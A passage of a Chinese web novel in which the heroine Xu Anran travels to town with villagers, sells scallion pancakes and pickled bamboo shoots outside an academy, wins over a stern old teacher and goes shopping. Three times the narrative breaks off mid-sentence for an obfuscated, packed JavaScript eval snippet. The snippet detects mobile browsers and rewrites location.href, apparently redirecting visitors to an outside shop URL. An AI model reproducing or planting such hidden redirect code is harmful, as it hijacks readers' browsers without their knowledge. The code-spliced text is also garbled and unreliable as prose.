“笨!”李四惹不住跳起来给周时脑袋来了一拳,“你这肌肉练得发达,什么时候把你的大脑也给练练啊?” 周时吃痛,他委屈地看着面前的小老头,说:“四叔,我这脑子就是被你给打傻的吧。” 李四淬了一口,“你别诬赖我。这样,四叔平日也不白拿你的肉,四婶那儿有几本讲男女爱情故事的话本,改日叔拿来给你学习学习,里头的男主角怎么做,你就怎么做。” “有用吗?” “当然!”李四十分肯定,“书中自有黄金屋听没听过?而且你四婶每天看得乐呵呵呢,女人不管多少岁都是女孩心,所以这一定是通用的。” “行,我一定认真学习。谢谢四叔。” 周时也是单纯,从小到大,他除了跟猎物生活的时间比较长,其次就是他四叔了,所以到目前为止,他依然认为李四的话非常权威。 徐安然跟他约定了两天后去镇上,李四就在眼前,便顺势说起了这件事。 “她们家目前比较困难,如果这次去镇上,生意不好的话,那这马车钱我替她出了,但您别跟她说,也别让村里其他人知道。” 山亭村三十户人家,只有李四一家的牛最能跑,相对的收费比较高。而I且村里每天去镇上的人不多,久而久之,也就只剩下李四的牛车还拉人了。 “你四叔最懂人情世故了,更别提,她还是你喜欢的女子。” 这次,周时没否认了。 两天后,周时再次见到徐安然,她和苏清一人抱着一坛罐子站在门口,在她的身后还背着热腾腾的、刚做好的葱花饼。 散发的香气,隔着几米远都能闻到。这就是葱花饼的魅力,香味穿透力很强。 李四架着马车,经过她们家门口时停下,“苏家妹子,上车了。” 虽然她姓徐,但这么多年苏清一人操持家里,时间长了,大家都改口叫徐安然为苏家妹子,也是对苏清的一种肯定。 “苏婶子,是否一同前往?”周时下车,主动帮徐安然将陶罐拿上车,罐子里有水,确实很重。 “我就不去了,这马车再加上我啊,就太拥挤了,下次吧。”苏清笑着说。 车上除了李四和周时,还有三人,都是带着东西去镇上卖的。 苏清虽然不大和村里人交往,但平时不主动找事,也不作妖,人缘还算可以,大家见到她都会乐呵呵地打招呼,今天也不例外。 车上的另外三人分别是村长家的媳妇张桂梅、李秀敏和李秀莲两姐妹,张桂梅去镇上卖熟鸡蛋,两姐妹去镇上卖袖帕。这两姐妹十分刻苦,即使在车上,也拿着针在袖,不会因为车子的颠簸而绣错,基本功了得。 这是现代的徐安然第一次去镇上,但以前的徐安然却每月都会去镇上一次,因为要将抄好的书本子还给书铺子,才能拿到报酬。 这次车上的人也认为徐安然是去书铺的,但在她上车之后,车上的众人便闻见了浓郁的葱香、混合着烤饼的面麦香气。 “安然,你这身后背的何物?香味好独特。” “葱花饼,是我这次要拿去镇上卖的。”徐安然不藏着掖着,反正到了镇上,也会被她们知道。 “那你脚边这两个罐子呢? “酸笋。” “酸笋?”李秀莲放下绣帕子的活儿,抢过李秀敏的话头,“是酸的吗?” “味道是酸的,煮熟后搭配米粥,或者跟肉一起炒,可以遮盖肉的腥臊味,很下饭,两种做法都好吃。” “我能买吗?对了,你能顺便帮我把刚刚的说过的食谱写下来吗?我记不得。” 此话一出,李秀敏连忙扯了扯李秀莲的胳膊。这一提醒,她这才意识到自己有些失了分寸,连忙捂住嘴,略带歉意地看着徐安然。 “不好意思,我妹妹口味刁钻,平日就喜欢吃酸味重的食物,她一听到酸,就像换了个人,话有些多,勿怪啊。” “姐姐,你遇见甜食的时候,比我还夸张,怎的只说我呢。”李秀莲忿忿道。 自从说完酸笋两字后,徐安然便一言不发了,实在是没她可以插嘴的机会。 安静观察下来,总算对眼前的两位年轻女子的口味喜好有了些了解。 姐姐李秀敏喜欢吃甜,妹妹李秀莲喜欢吃酸。 “你们俩呀,整日就爱斗嘴。”张桂敏是车上除了李四之外,最年长的,她一说话,两个小辈都安静听着。 待她说话完,才道:“张婶,我们姐妹俩越吵感情越好。”说完,李秀莲又重新将视线转移到徐安然身上,“安然,但是我真的挺想要你刚刚所说的酸笋做法。” “就你那厨艺,写了也是浪费安然的笔墨,不如等安然做好了,我们跟她买呢。” 徐安然兴奋地看着说话的李秀敏,手边顺势打开一小坛的酸笋,说:“我这儿正好有做好的酸笋。能直接吃的。” 这是苏清给她出的主意,大家都没吃过酸笋,如果弄些煮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092704|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟的酸笋给客人试吃,喜欢的自会买。只要是会下厨的人,回家自己煮熟就能吃,并不是什么难事。 趁着徐安然拿酸笋之际,周时顺势提醒她摘下身后装着葱花饼的背篼。 “将东西放下来吧,到镇上还有一段距离。” “周大哥,你居然这么体贴。平日里你可不会坐四叔的牛车哦,今天怎么破例了?”李秀莲打趣道。 山亭村谁人不知周时,不仅能干,长得好,而且父母双亡,简直是最佳夫婿人选,几乎每家出嫁的女子都想嫁他。 但是李秀敏俩姐妹除外,她们只对美食感兴趣。 今日去镇上卖帕子,本意也是想买聚福楼的烤鸡,那儿的烤鸡是用永安镇最美味的,皮薄汁水多,肉嫩得不行。 却突然被这从未听说过的酸笋插了队。不知多少钱,不知还够不够买半只烤鸡。 “谢谢。”那日拜托周时一起去镇上,就是找他帮忙的,所以对于他的好意,徐安然欣然接受。 反正她俩清白着,又没什么见不得人的事。 但是张桂梅却嗅出了点不一样的意思。 这两天活泼的小柔闭门不出,平日里每天都会周时经常去的山下转悠,就为了一次不经意间的偶遇。作为小柔的母亲,说不担心她是假的。 问她缘由也闭口不谈,今个总算明白了。 张桂梅不是不讲道理的人,婚姻讲究你情我愿,周时虽然人不错,但人家的心思不在自己女儿身上,即使娶了自己女儿,也只会因为责任而对她好。 她想让自己女儿碰见一个互相喜欢的,有爱的日子才会越过越好。显然,她女儿目前还不知道这个道理。 看来,回家有得开导了。 于此同时,徐安然也打开了酸笋的盖子。 没打开之前,吃货俩姐妹就已经嗅到了独属于笋的清香,并且还有些酸,引得人口齿生津。待这盖子完全打开,铺面而来的浓郁的酸味,让在座的大家伙都狠狠嗅了嗅鼻子。 徐安然有句话说得不假,这酸笋,下饭。 至少吃货俩姐妹闻着就饿了。 “这就是已经煮熟的酸笋吗?” “对,这是试吃的,不收钱,真正要卖的酸笋还没有煮熟,需得自行带回家煮,吃多少煮多少,才能更好地保存剩下的酸笋。” “免费的?那给我来点儿。”李秀莲迫不及待地说。 徐安然笑着点了点头,她拿出干净的竹签,从坛子里挑了快酸笋递给她。既然都打开了,那么在座的人她都会给,正好,也看看她们是否能接受这样的味道。 李秀莲是个老吃家了,酸笋刚到鼻尖,她便说道:“好新鲜的气味。”说完,缓缓咬下一小口。 脆的。 有些生。汁水丰富,咀嚼间不停有竹笋的清爽和腌制后的酸香溢出,咽下后,味道仍在口内停留,浓郁、绵长。 车上的人都在等着李秀莲的反馈,过了好一会儿,只听见她缓缓说:“这味道好独特,入口不算惊艳,但是吃过之后还想再吃。”说完,神情期待地看着徐安然,“我能再来一块吗?” 徐安然笑得更开心了,要的就是这样的回答。 她豪爽道:“当然!” 8. 第 8 章 酸笋这个东西,喜欢的人很喜欢,不喜欢的人,那真的接受不了,毕竟密封腌制了好几天,味道除了酸之外,难免还有些臭。 张桂梅就属于接受不了的那一类,半天下不去嘴。 但是为了不让徐安然难堪,她转头花钱买了个葱花饼。 新鲜出炉的葱花饼,还冒着热气,笼布一掀开,那葱香味夹杂着热气,更浓郁了。 “张婶,你是我第一个顾客,这葱花饼就当我送给你了,等会儿到了镇上,我就在你旁边摆摊,如果有哪里做得不对的,您多提醒我两句,可好?”徐安然谦虚地说。 虽说有开店的经验,但是她的摆摊经验为零。 特别是在陌生的朝代。 所以很需要一个有经验的人带着,跟在经常出摊的张桂梅旁边,或许可以省点麻烦。 免费的葱花饼起到了作用,张桂梅开口跟她讲起了在镇子摆摊的规矩。 距离山亭村最近的一个镇叫永和镇,相当于现代二线城市的县城。因为是沿海地带,偶尔会有远道而来的商人经过此处,所以永和镇的经济发展还算不错,有相当一部分的新鲜玩意儿涌入,类别有食品、饰品、玩具等。 在前往永和镇的路上,在路边,徐安然见到一间十分破败的店,看样子好多年未打理了。牌匾都掉了下来。她没将这家店放在心上,只有对小镇景象的好奇。 徐安然第一次见到古代商街。 本以为平平无奇,结果刚穿过入城大门,就被眼前的景象惊呆了。 来往的商贩有些背着行囊边走边吆喝,有些则停在的旁边,捣鼓着自己摊位前的小玩意儿,遇见个来往的人,便热情招呼。就连沿街店铺的掌柜都出来了,逢人就邀请进店。 一切都是徐安然想要看到的模样,因为新玩意儿多,就代表着这里的百姓接受能力高。 那她的酸笋就有市场。 在来的路上,张桂梅已经跟她说了一些摆摊的注意事项,越靠近城门的地方,摆摊所收的租金就越贵,因为城门口的人流量最多。 当然,永和镇也不是什么地方摆摊都收费的。 “记住了哦,傍晚酉时一刻在城门口集合,我最多只会多等你们一刻的时间,否则天就黑了。”城门外,李四叮嘱道。 大家都来过镇上,也都知道每天最晚上车的时间,但是每次李四都会强调一句,已经成为习惯了。这个习惯倒是真的提醒到了徐安然。 永和镇分东西南北四条街,东街商铺多,消费也高,通常饭馆和客栈比较多。西街常是寻常百姓喜欢逛的小街,摆摊的商贩居多,但是在西街摆摊,需要收取一定的摆摊费用,而南街是住宅区,镇上的百姓大多住在南街。这三个地方目前都不是她们会考虑摆摊的地点。 她跟着张婶和李秀敏两姐妹来到一处坐落在北街的书院大门外。这里相较于东南西三街,安静许多。这里大多走动的都是读书人,消费能力不高,但唯一的好处就是不收取摆摊费用。因此很多商贩会选择到这里来碰碰运气,书院的学生午休时会出来买饭吃,所以生意不至于特别的差。 但是这里摆摊有时限,只能在午时摆摊,其余的时间必须走人,不能影响书院里的学生读书。 还有一点是,商贩的腿脚得利索,因为里头的夫子会出来赶人,有时还会叫上学生一起出来催赶。 徐安然腿脚不好,但是她对自己卖的食物有信心。 周时帮她将东西放在指定的摆摊位置,便离开了书院,朝着东街方向走去,他此行的另一个目的是将那天打猎到的猪肉卖给酒楼。 走之前,不忘跟徐安然说:“我会尽快将手上的猪肉卖了,东西很重,等我回来再一起回去。” “知道了,谢谢你啊,周大哥。”徐安然感激道。 如果没有周时的帮忙,她不会这么顺利地来到摆摊的地方。 她们来的时间恰好,张婶卖的是鸡蛋,而且经常来,学生们都眼熟她,有钱的学生会买上两个熟鸡蛋,当作午餐。拮据些的,则会去对面的粥铺,一碗热乎的白粥两文钱,倒也能勉强吃饱。 学生们各自奔向熟悉的摊位,徐安然直接被忽略了。 她再次被现实打败,看着爆冷的摊位,她无奈地蹲下,手撑着脸,不知在想些什么。总之见不到她面上有任何着急,只有郁闷……和无聊。 “安然,你何不吆喝几句?”李秀莲在一旁都替她着急坏了,“再不吆喝,时辰到了就要被赶走了。” “再等等,现在人还不是很多。”徐安然说。她也不知道自己淡定个啥,或许是对自己的东西太自信了吧。 从刚刚的读书声来说,她推测这个书院最起码有上百位学生,现在才出来了二三十位,不够。要吆喝,也得等到人基本上都出来之后。 她曾经看到在学校门口摆摊的视频,学生们一蜂拥出现的时候,才是吆喝的最佳时机。 又等了差不多一刻钟,总算是见到了大批的学生出现在书院门口。 她猛地起身,势头很猛,拿起一旁自制的竹子扩音器,卖力吆喝:“葱花饼,一个三文钱,两个五文钱!买四送一!独家制作,用料良心,味道可口,童叟无欺!!” 这架势,给身旁的姐妹俩吓了。 徐安然这套朗朗上口的顺口溜,再搭配清秀的长相和甜美的嗓音,很快引起了大家的注意。 书院里都是年轻人居多,谁没有一颗爱美之心呢。 即使对她所说的葱花饼不感兴趣,也愿意来问一问。 于是,接下来的时间里,徐安然听到的最多的问题就是…… “可曾婚配?” 但也不缺乏有那么几个真的对她所说的葱花饼感兴趣的人,比白粥香,还比鸡蛋便宜,更比馄饨新鲜。 “刘举,我们俩拼个如何?两个五文钱,比单独买一个便宜些。”在众多看热到的学生中,其中一位吃家对身旁的朋友说道。 书院外好久没来新鲜商贩了,说话的刘聪很想尝一尝鲜。 “行,今日我正好吃不下白粥了,每天中午都是一碗白粥,这几日我读书都使不上劲儿。” 徐安然对于那些言语骚扰自己的食客不搭不理,精准找到想要买葱花饼的客人。 “女老板,给我拿两个。” “得咧。”徐安然一手收钱,一手将笼布掀开,浓郁的葱香味瞬间随着笼布的掀开冲了出来。 人比较多,为了保持饼不受口水和灰尘污染,在卖出去之前,她始终未掀开笼布,这也导致围观的众人此时才见到葱花饼真正的面貌。 金黄的色泽,像是一轮圆月,边缘微微焦黄,中间的葱花随意洒落在饼皮表面,除了模样,大家更在意饼的香味。 “老板,也给我来两个葱花饼吧!”又来一位顾客,这次是被葱花饼的香味吸引而来。 有一就有二,很快,徐安然的摊位便成了书院外生意最好的。 即使只有区区十来人。 刘举和刘聪各自分了一个葱花饼,饼的表面还能看到晶莹的油光,香味好似就是葱这油中散发出来的,狠狠吸一口,香味直击灵魂深处。再狠狠咬下一口,外皮酥脆得能听见“咔咔”声,里头确是软的,葱油随着牙齿的咀嚼一点点渗透出来,伴随着葱花的清香,竟一点儿也不腻。 比白面饼子有味道,更比肉饼子清新。 因为葱花饼在永和镇算是罕见的食物,所以五十个倒是很快卖完了,也得益于她做的葱花饼巴掌大,成年人的食量需要两个才能饱腹。 “两个葱花饼,再搭配一个熟鸡蛋,到老李那儿再买一碗白粥坐着喝,今天的午饭,实在妙。”其中一个对书院外所有摊位都光顾过的书生说道。 与此同时,徐安然也在喝粥。 她也在隔壁老李粥铺那儿买了碗粥,夹了几块酸笋到粥里,边吃边回味。 距离收摊的时间快到了,她的酸笋,今日的主角还没来得及出场呢。 大家本就喜欢她卖的葱花饼,此刻见她又掏出了别的新鲜食物,又像吸铁石一般全围了上来。 “老板姑娘,你这坛子里装的何物?也是吃的吗?”刘举啃食着葱花饼,嘟嘟囔囔道。 “酸笋,我自己腌制的,可以直接吃,也可以做下饭菜,尤其就着白粥,都能吃出山珍海味的感觉。其次也可以用作其他食材的辅料,比如猪肉炒酸笋、鸡蛋炒酸笋等,味道有些酸,如果你们感兴趣,我这里有已经煮好的可以食吃。” 徐安然将试吃的罐子摆到桌子前。 此行出门,还带了一张桌子,是她们家唯一的一张吃饭桌,如果也真成了“吃饭桌”。 出于对葱花饼的信任,大家很快接受了徐安然的试吃邀请。 但部分人吃过之后,第一反应是难以下咽。 首先味道实在不算香,又酸又臭的。 “这东西,怎么下饭啊?”刚吃完葱花饼的刘聪,满脸痛苦地说,“我不太能接受。” 徐安然并不生气,“没关系,这个食物的口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092705|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味确实比较奇特,第一次吃不能接受也能理解。酸笋得细细品尝,这食物的美味程度因人而异,喜欢的人会非常喜欢,不喜欢的人会觉得非常臭,所以如果觉得不好吃,大家也不必勉强,吐掉便是。” 听徐安然这么说,原本想要吐掉的人反而有些不好意思了。 强忍着不适继续咀嚼。 但是不知怎地,越吃,口中越留恋这个味道。甚至还想再来一片。 但是老板说:“每个人只能试吃两次哦,因为试吃的分量不是很多,如果大家喜欢,可以买一些回家,只要加水煮两刻钟,什么调料都不需要放,放凉后就是如今你们试吃的味道。” “多少钱呀?”群众中,终于有人问。 “今日是我第一次卖酸笋,所以活动价一斤十八钱,过两日我在来,就恢复到二十钱一斤咯。” “十八文一斤啊,好贵啊。”书生们听到这个价格,原本有些跃跃欲试的心都冷静了下来。 毕竟隔壁一碗肉馄饨才卖五文钱。 “笋是我到山里挖的野山笋,这个季节的野山笋即使单独买也需要十二文钱一斤,更别提我这是经过加工的,而且只留下最嫩笋心部分,所以真的不算贵了。”徐安然解释道。竹笋这东西,老百姓吃得不多,首先它的生长环境就已经劝退了很多人,所以价格一直都很高,这也是徐安然选择做酸笋的原因。 她上山一趟真的不容易,虽然没什么成本,而且满山都是,但是每次只能带个二三十斤下山,再多就得麻烦到周时了。 “那……那就给我来一斤吧。”其中一位书生被说动容了。 “得咧!”徐安然的笑容都要咧到耳后根了,眼里满是“要发财了”的光。 周时来到书院附近的时候,见到的就是笑容这样的灿烂的徐安然。 不知为何,见她笑得那么开心,他心中也发自内心地感到开心。但是看到一群男人围着徐安然问话,问题还与卖的食物不相关,他心中有些不悦。 他走到徐安然身边,可是目前徐安然眼里只有顾客,直接忽略了周时这个大块头。 可是徐安然忽略了,但顾客们没忽略。 “徐老板,你咋摆摊还有护院盯着呢?” 护院? 徐安然看向四周,终于看到站在自己身后的周时。 她没忍住笑了。 周时双手背在身后,站得笔直,眼神扫视一众书生,脸上看不出一点表情,真的像个冷面保镖。 “不是护院,是我朋友。”徐安然笑着解释。 “原来如此呀~” 徐安然没有继续这个话题,本来以为这次酸笋会比较难卖,所以只拿了一罐,不曾想现在居然都快见底了。 此时,书院内走出一位穿着白色袍子,留着胡须的老头。 气质很像书院的夫子,老头下盘很稳,说话声音更是嘹亮。 “所有学生,午休时间准备到了,都快回来午休,另外,摆摊的可以离开了。” 除了徐安然之外,其他商贩对此已经见怪不怪了,连忙收拾起东西。 只有徐安然还站着不动。 沾了徐安然的光,张桂梅和李秀敏两姐妹今天的生意都还不错。她们三见到徐安然站着不动,连忙劝说让她收拾东西。 “安然,快些收拾东西,你再不走,等会儿这老头就要喊人来赶你走了,而且还会没收你的东西。” “没收我的东西?这老头以为他是也是我的老师吗?”徐安然不解,“现在还没到时间呀?” 她凭啥要收拾东西走人,而且她的酸笋还差一点就卖完了,作为一个生意人,第一天如果生意很好的话,是不能剩东西回去的,不吉利。 周时就站在徐安然的身后,他不为所动,以为如果这些人敢动徐安然的摊位,那他也不会客气。 “安然,你别闹,这个人是当今县令老爷的恩师,咱平头老百姓惹不起。” “时辰是府衙定的,如今还没有到时间就赶人走,怎么现代和古代的老师都一个德行。”徐安然默默吐槽,不过她好歹是第一天在这里摆摊,想着以不惹事为主,于是也收拾起了摊位。 但是书院门口的老头好像是盯上了徐安然,或许是因为她是最后一位收摊的人。 他来到徐安然的摊位,手一挥,欲让身后的学生收走徐安然的桌子。 这可是她们家唯一的桌子,收走了她怎么回家跟苏清交代? “你们要做什么?”她警惕问。 9. 第 9 章 “替你收了桌子。” 看几人这架势,徐安然可不信只是简单帮她收桌子这么简单。说没收,才对。 “凭什么?” 虽然这边摆摊不用收摆摊费。但是很明显,她并没有违反规定。 “就凭你已经超时了。” 白胡子老头一脸公正廉洁,不知道的还以为徐安然犯了什么杀头的大错。 “如今到收摊的时辰了吗?作为一名老师,不会连时辰都不会看吧?” 葛学义诧异地看着眼前顶嘴的女娃娃,“你不知在这里摆摊的规矩?” “我只知道,如今距离收摊还有整整一刻钟时间。” “想要在书院附近摆摊,必须提前一刻钟收摊,这是心照不宣的规矩,你是新来的?” “是啊,我就是新来的。”得知这是心照不宣的规矩,徐安然依旧理直气壮地回。但脸上确实爬上了一丝心虚。 一旁的张桂梅也在懊恼,她竟忘了将这事儿告诉徐安然。 葛学义见状,忽地笑了,他挥了挥手,示意学生们停下。 “那这次我就不计较了,下次再来,记得遵守规矩。” 徐安然没想到眼前的老头看着蛮不讲理,但其实还挺将道理的,她本来已经做好争辩的准备了。 就连周时,都已经是备战状态了。 “哦。”徐安然回。 她低头继续收摊,身侧的张桂梅和李秀敏听到葛学义的话,都替徐安然松了口气。 要在书院附近摆摊就得遵守规矩,三次被发现不准时收摊者,进书院黑名单,这也是虽不收摆摊费,商贩却也少的原因。 永和镇不算大,商贩数量不比其他繁华县城。所以时间一长,便没什么人在这边摆摊了,纷纷交了摆摊费用去西街谋生。 学生们内心都很不赞同学院这样的做法,午休的时间本来就短,他们还不能在书院附近吃顿好的。所以之后大多学生都开始选择从自带午饭,书院外渐渐冷清,新的商贩更不会选择来这里摆摊了。 这些事情徐安然在回去的路上才知道。 此时,她收拾东西的动作被葛学义打断,他问:“你这罐子里卖的东西是何物?味道如此奇怪。” 奇怪,这股气味不算香,却让他有些着迷…… “这个?”徐安然指着刚要缠住的酸笋陶罐问。 葛学义点头。 “这叫酸笋,我自己做的。” 葛学义摩挲着下巴,“还是个新鲜的词,何物制成?” “竹笋经过七日的密封浸泡、发酵所得的产物,可作餐桌主食,也能搭配其他食物,吃法多种多样,味道偏酸,开胃下饭。”徐安然耐心解释,“这竹笋是我清晨上山现挖的,带回家后立即剥皮腌制,鲜得很。” “听着倒是不错,能否直接吃?” “酸笋煮熟后方可食用,目前卖的都是生的,但我这儿还有些试吃……” 没等徐安然说完,葛学义便连忙抢先道:“快给我试试。” 难道碰上个酸笋爱好者了?徐安然心想。 手利索地从筐里拿出一根竹签,挑了坛子内最大的一片酸笋递给面前的白胡子老头。 “如果你不嫌弃这是最后剩下的,罐子里剩余的酸笋都可以送给你。” 她本想带着这些试吃的带回家炒肉,但在葛学义问她的时候,就改了想法。她有些私心,这老头在这一带看着很有威望,其他商贩看他的眼神都带着畏惧和尊敬,如果这老头能成为自己忠实的顾客,那么或许会为她吸引来更多顾客。 不,是一定会。 徐安然脸上堆着笑,虽然这老头一开始很不礼貌,但谁会跟财神爷过不去呢~ “你这丫头,刚刚还一副不卑不亢的样子,现在却这样讨好。”还挺能屈能伸…… 葛学义活了大半辈子,有独到的看人眼光。 “是个做大生意的。”他说。 “谢谢。”徐安然欣然接受葛学义的评价,当她将酸笋递给他时,就一直在等待他的反应。 葛学义刚要将酸笋送入口中,便被身后的弟子阻拦。 “老师,这个女子之前从未在学院外出现过,而且这食物我们都未曾听说,您还是别太冲动,待我们先试试……” 一旁的徐安然听到这话,挑了挑眉,没吭声。买酸笋的人不少,有问题早出了。 “你去去去。”他不耐烦地挥手,“我活了大半辈子了,鲜少有不知为何物的食物,而且我已经说是个七分入土的人,我怕个啥?我怀疑你是想抢我东西吃。” 说完,十分果断地将酸笋丢入口中,并且一边咀嚼一边恶狠狠地看着刚刚劝说他的弟子。 “这老头是个狠人,狠起来连自己都骂。”徐安然悄悄跟站在自己身后的周时说。 本来是句调侃的话,但是周时十分认真地看了葛学义一眼,然后认真地回:“他说的是事实。” “噗嗤!”徐安然捂嘴偷笑,“大哥,你真逗。” 于此同时,葛学义还在回味酸笋的味道,丝毫没发现对面二人在小声讨论他。 他也是个老吃家,左顾右盼之际,终于发现即将要离开的粥车。 他看着推车的老板,大喊:“那个米粥老板,你等等。” 米粥老版听到葛学义叫住自己,还以为要收走他的摊位,脚下的步伐更快了。 “哎!你等等啊!”葛学义连忙跟上,老腿都快跑出残影了,也不忘说,“卖我一碗粥。” 米粥老板听到这话,有些迟疑地转过头,但是脚步依旧不停。 “你停一会儿能咋滴?我那么可怕吗?”葛学义继续大喊。 “就是很可怕啊。”米粥老板也大声回道。 “但是我现在要买粥,你停是不停?不停你明天别来这边摆摊了。”他双手叉腰,怒视米粥老板。 见他不往前走了,葛学义总算是放心了,他回过头对着徐安然说:“娃娃老板,你这剩下的酸笋我都包了。连同你坛子里那些试吃的。” 徐安然眼睛更亮了。 “好!我这就给您装好。”打包时,她控制不住地嘴角上扬。 虽然今日也就带来三斤酸笋,但却是个很好的开头。 张桂梅和李秀莲两姐妹还在一旁等着她,她们知道徐安然这些新鲜的食物会好卖,但是没想到会这么好卖,大家在吃过之后,几乎都抢着买,就连一直不把他们这些商人放在眼里的夫子,都买了徐安然的东西。 除了徐安然开心之外,米粥老板也开心。 因为这是葛学义第一次买他们家米粥,说出去怪有面。只可惜现在很多学生都回书院了,只有零星几位学生见到,只能期待这些看到的学生会在学院口口相传。 这边葛学义抱着酸笋开心离开,李秀莲总算敢说话了。看着徐安然,发自内心地夸她厉害。 “你也不错呀,你绣的手帕很精致。” 她没有恭维,不知道这个朝代其他女子的绣工怎么样,但李秀莲姐妹俩的绣工,如果放在现代。是可以评为非遗的实力。 她们姐妹俩平时总被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092706|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里长辈说赚的钱不如吃的多,这还是第一次有人这么认真地夸她们,有些脸红。 “哎呀,都是从小学的呀,不是什么值得提的。” “有一技之长,并且能靠这一技之长养活自己,就是非常厉害。” 虽然不了解李秀莲的家庭情况,但是她觉得这几个时辰跟她们一起相处得很自然,有女孩的俏皮,也有作为商人的机灵。而且两人都是吃货,她最喜欢和吃货交朋友,大都没什么坏心眼,都好好的。 “安然,谢谢你。”李秀莲是个性情中人,听见徐安然这么夸她,要不是碍于人多,就要感动哭了。于是非常大方地送了徐安然一条绣着荷花图案的手帕。 “要收下哦。”李秀莲还是擦了把眼角的泪。 徐安然都懵了,怎么说句实话还能把她说哭了? 不过没等她细想,葛学义又回来了。李秀莲连忙躲到徐安然身后,警惕地看着他。 其实他回来只为问一个问题。 “明日还来这儿吗?” “不来。”徐安然果断道,不带一点儿犹豫。 明明是一句很正常的回话,但葛学义身后的弟子又不爽了。 “你这女子,我们老师好歹是年老的长辈,说话当真不尊敬。” 徐安然收拾东西手一顿,茫然地抬起头:“我平日就这么说话,又哪里不尊敬了?况且他又不是我老师。” “你!”学生哑口无言。 “每个顾客我都正常招待,别想着倚老卖老啊。”徐安然又说。 这牙尖嘴利的样子,倒是让葛学义稀罕得很。如果他有个外孙女的话,估计也是这样的性子。 他身后的弟子还想着争辩,但一看到她身旁死死盯着自己的周时,便蔫儿了。 对方身体素质很强。目前不占上风。 “客……客气点儿嘛。”学生小声说。 “好了。别丢我脸了,人家姑娘说得没错。”葛学义发话了,学生连忙站回到他身后,低着头不再说话。 “那你平日还在哪里摆摊?”葛学义又问。 “实不相瞒,今日是我第一次摆摊,回家之后还有很多工作要准备,所以五日后的这个时间,我再来这儿摆摊。”她回。 腿受伤的部位不出几日便能结痂了,连带着扭伤也能基本好全,不用再麻烦周时。 顾客也是需要钓的,不让他们等着急了,自己怎么能够名正言顺地涨价呢?况且今天只是试卖的价格,她还得回去算算今日的成本,看看要涨价到多少,客人能接受,她也能赚得多。 而且,她要等发酵。 她要等今天买了葱花饼和酸笋的人回去跟朋友、家人说这两道食物,要将那些没吃过的人口味吊足了…… 就好比今日跟着葛学义出来的三位弟子。他们都没能买到葱花饼和酸笋,看着葛学义吃那么香,心中更别提多么好奇了,如今知道徐安然五日后会来,默默记在心里。 在葛学义的目送之下,徐安然几人离开了书院附近。 这是她穿来古代后第一次逛街,虽然不想那么早回去。但手里东西太多,只能下次再逛。 “眼下时间还早,我将东西放回车上,你可以在镇上逛逛。” 周时好像看见了徐安然的遗憾,说的话正中徐安然下怀。 “这,哪里好意思一而再再而三麻烦你……” 此时,周时脑海里闪过四叔对他说过的一句话:感情都是在相互麻烦中产生的。 于是他十分认真地说:“不麻烦!顺手的事。” 10. 第 10 章 徐安然身边,作为旁观者的三人,吃完瓜后自然是要附和几句的。 “安然,你的腿还没好全呢,还是让周大哥帮你拿回去吧~然后我们一起去街上逛逛。你都那么久没出门了,一定有很多想买的东西吧?” “我妹妹说得对。” “是呀,都是一个村的,理应互帮互助。” “我就不跟你们几个年轻人逛了,我先回城门口,记得看日头,准时回来哦。”张桂梅提醒说。 “知道了张婶~”李秀莲俏皮地回。 一切都是这样顺理成章……周时将桌子绑在身上,手里抱着两坛陶罐,即便如此,还要再对徐安然说一句:“背上的背篓也摘了吧。” 她反应过来,连忙摆手,“不用了,我正好想买些东西,背篓可以放。” “也对,那我和张婶先回去了,你慢些走,小心腿上的伤口。” “我有分寸。你拿这么多东西也注意安全。” “嗯。” 徐安然看着他的背影,她早上忙活了好久才搬到门口的东西,在他那儿显得如此轻松。不知怎地,心中竟泛起一丝涟漪……说不清,道不明的。 将这股意味不明的涟漪压在心底,徐安然跟着李家两姐妹来到繁华的东街。 虽然目前不打算在永宁镇盘店,但她还是想看看古代的店铺都是怎么运作的。 要创新,也要结合当地的习惯。 她已将要买的东西记在心里,从最轻便的碗筷开始。 家里没几副好的碗筷,所以第一家去的是瓷器店,店里生意不愠不火,徐安然进店之后,店里的人迅速出现在她面前,用最热情的语气问:“客人您好,欢迎光临玉润瓷器店,您只需把想买的瓷器类型说出来,我便能给您找来。” 伙计热情,徐安然也不废话,一一说道:“一个汤碗,再来两个六寸大的碟子,最便宜耐用的就行。” “得咧,您稍等。”话落,说话的人便消失了,速度之快,徐安然甚至都没机会再补充什么其他条件。 不过,这家店的掌柜还挺厉害,果真给她找来了几副符合她要求的东西,徐安然又在里面选了几个更便宜的,紧接着在李秀敏的帮助下成功砍掉两文钱,最后以十五文的价格全部拿下。 买完了陶瓷器,接下来就是食材了。 